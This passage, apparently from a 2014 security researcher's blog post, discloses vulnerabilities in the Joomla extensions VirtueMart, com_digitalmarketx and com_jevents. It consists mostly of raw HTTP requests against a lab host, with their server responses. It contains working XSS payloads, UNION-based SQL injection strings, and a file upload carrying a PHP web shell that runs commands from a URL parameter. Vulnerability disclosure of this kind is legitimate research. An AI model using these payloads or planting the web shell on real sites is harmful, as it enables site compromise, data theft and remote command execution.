images/stories/virtuemart/manufacturer/
-----------------------------60502004919502
Content-Disposition: form-data; name="file_url_thumb"

-----------------------------60502004919502
Content-Disposition: form-data; name="media_roles"
file_is_displayable
```

```
-----------------------------60502004919502
Content-Disposition: form-data; name="media_action"
0
-----------------------------60502004919502
Content-Disposition: form-data; name="upload"; filename=""
Content-Type: application/octet-stream

-----------------------------60502004919502
Content-Disposition: form-data; name="virtuemart_vendor_id"
0
-----------------------------60502004919502
Content-Disposition: form-data; name="active_media_id"
0
-----------------------------60502004919502
Content-Disposition: form-data; name="option"
com_virtuemart
-----------------------------60502004919502
Content-Disposition: form-data; name="virtuemart_manufacturer_id"
$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")
-----------------------------60502004919502
Content-Disposition: form-data; name="task"
save
-----------------------------60502004919502
Content-Disposition: form-data; name="option"
com_virtuemart
-----------------------------60502004919502
Content-Disposition: form-data; name="boxchecked"
0
-----------------------------60502004919502
Content-Disposition: form-data; name="controller"
manufacturer
-----------------------------60502004919502
Content-Disposition: form-data; name="view"
manufacturer
-----------------------------60502004919502
Content-Disposition: form-data; name="87f096ea0a7339dad49ed74dd99f89d1"
1
-----------------------------60502004919502--
```

Response for this one:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Dec 2014 21:35:58 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
'&#34;%3cimg%2fsrc%3d&#39;x&#39;%2fonerror%3dalert(9999)%3e&#34;)' at line 1 SQL=SELECT
`slug` FROM `izsh_virtuemart_manufacturers_en_gb` WHERE `slug` =  "dasdasdsdsd"   AND
`virtuemart_manufacturer_id`!=$(&#34;%3cimg%2fsrc%3d&#39;x&#39;%2fonerror%3dalert(9999)%
3e&#34;)
Cache-Control: no-cache
```

Also vulnerable here will be: *“virtuemart_product_id”*.

Plugin called **com_digitalmarketx** is vulnerable to SQL Injection attack:

```
POST /joomla/administrator/index.php?option=com_digitalmarketx&view=reports HTTP/1.1
Host: 192.168.56.102
(…)
Content-Length: 222

filter_search=&limit=20&directionTable=asc&sortTable=&limitstart=-
7%20UNION%20SELECT%20version(),2,3'`"%3b--
#%%2f%2a&task=&boxchecked=0&filter_order=a.report_subject&filter_order_Dir=desc&c4b74ad3e
260ea9ba612afce8f36f1b1=1
```

So it looks like *“limitstart”* parameter is vulnerable.

Next plugin - **com_jevents,** also suffers from SQL Injection:

```
POST /joomla/administrator/index.php HTTP/1.1
Host: 192.168.56.102
(…)
Content-Length: 1835

-----------------------------17124105483744
Content-Disposition: form-data; name="icsLabel"
(SQLI HERE)
-----------------------------17124105483744
Content-Disposition: form-data; name="created_by"
693
-----------------------------17124105483744
Content-Disposition: form-data; name="catid"
36
-----------------------------17124105483744
Content-Disposition: form-data; name="access"
1
-----------------------------17124105483744
Content-Disposition: form-data; name="ignoreembedcat"
0
-----------------------------17124105483744
Content-Disposition: form-data; name="isdefault"
0
```

```
-----------------------------17124105483744
Content-Disposition: form-data; name="overlaps"
0
-----------------------------17124105483744
Content-Disposition: form-data; name="upload"; filename="mishell.php"
Content-Type: application/octet-stream
<?php $c=$_GET['x']; echo '<pre>'; system($c);?>
-----------------------------17124105483744
Content-Disposition: form-data; name="autorefresh"
0
-----------------------------17124105483744
Content-Disposition: form-data; name="uploadURL"

-----------------------------17124105483744
Content-Disposition: form-data; name="icsid"
0
-----------------------------17124105483744
Content-Disposition: form-data; name="boxchecked"
0
-----------------------------17124105483744
Content-Disposition: form-data; name="task"
icals.new
-----------------------------17124105483744
Content-Disposition: form-data; name="option"
com_jevents
-----------------------------17124105483744--
```

Response with SQL error:

```
HTTP/1.1 500 Internal Server Error
Date: Sat, 20 Dec 2014 21:57:41 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u8
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1267 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE)
for operation '=' SQL=SELECT ics_id from w2yhs_jevents_icsfile as ics WHERE ics.label =
'ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯
ê▯▯ê▯▯ê▯▯ê▯▯ê▯ ê▯¡ê▯¢ê▯£ê▯¤ê▯¥ê▯¦ê▯§ê▯¨ê▯©ê▯ªê▯«ê▯¬ê▯-ê▯®ê▯¯ê▯°ê▯±ê▯²ê▯³ê▯´ê▯µê▯¶
ê▯·ê▯¸ê▯¹ê▯ºê▯»ê▯¼ê▯½ê▯¾ê▯¿ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê
▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯ê▯▯'
Cache-Control: no-cache
```

The last one for this article will be old and nice XSS in **com_jevents**;)

```
POST
/joomla/administrator/index.php?option=com_jevents&task=cpanel.custom_css&save=custom_css_
save HTTP/1.1
Host: 192.168.56.102
```

```
(...)
content=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&save=Save+Custom+CSS
```

If you have any questions, or you want to talk with me, feel free to find me on:

http://HauntIT.blogspot.com or https://twitter.com/HauntITBlog .

Cheers

o/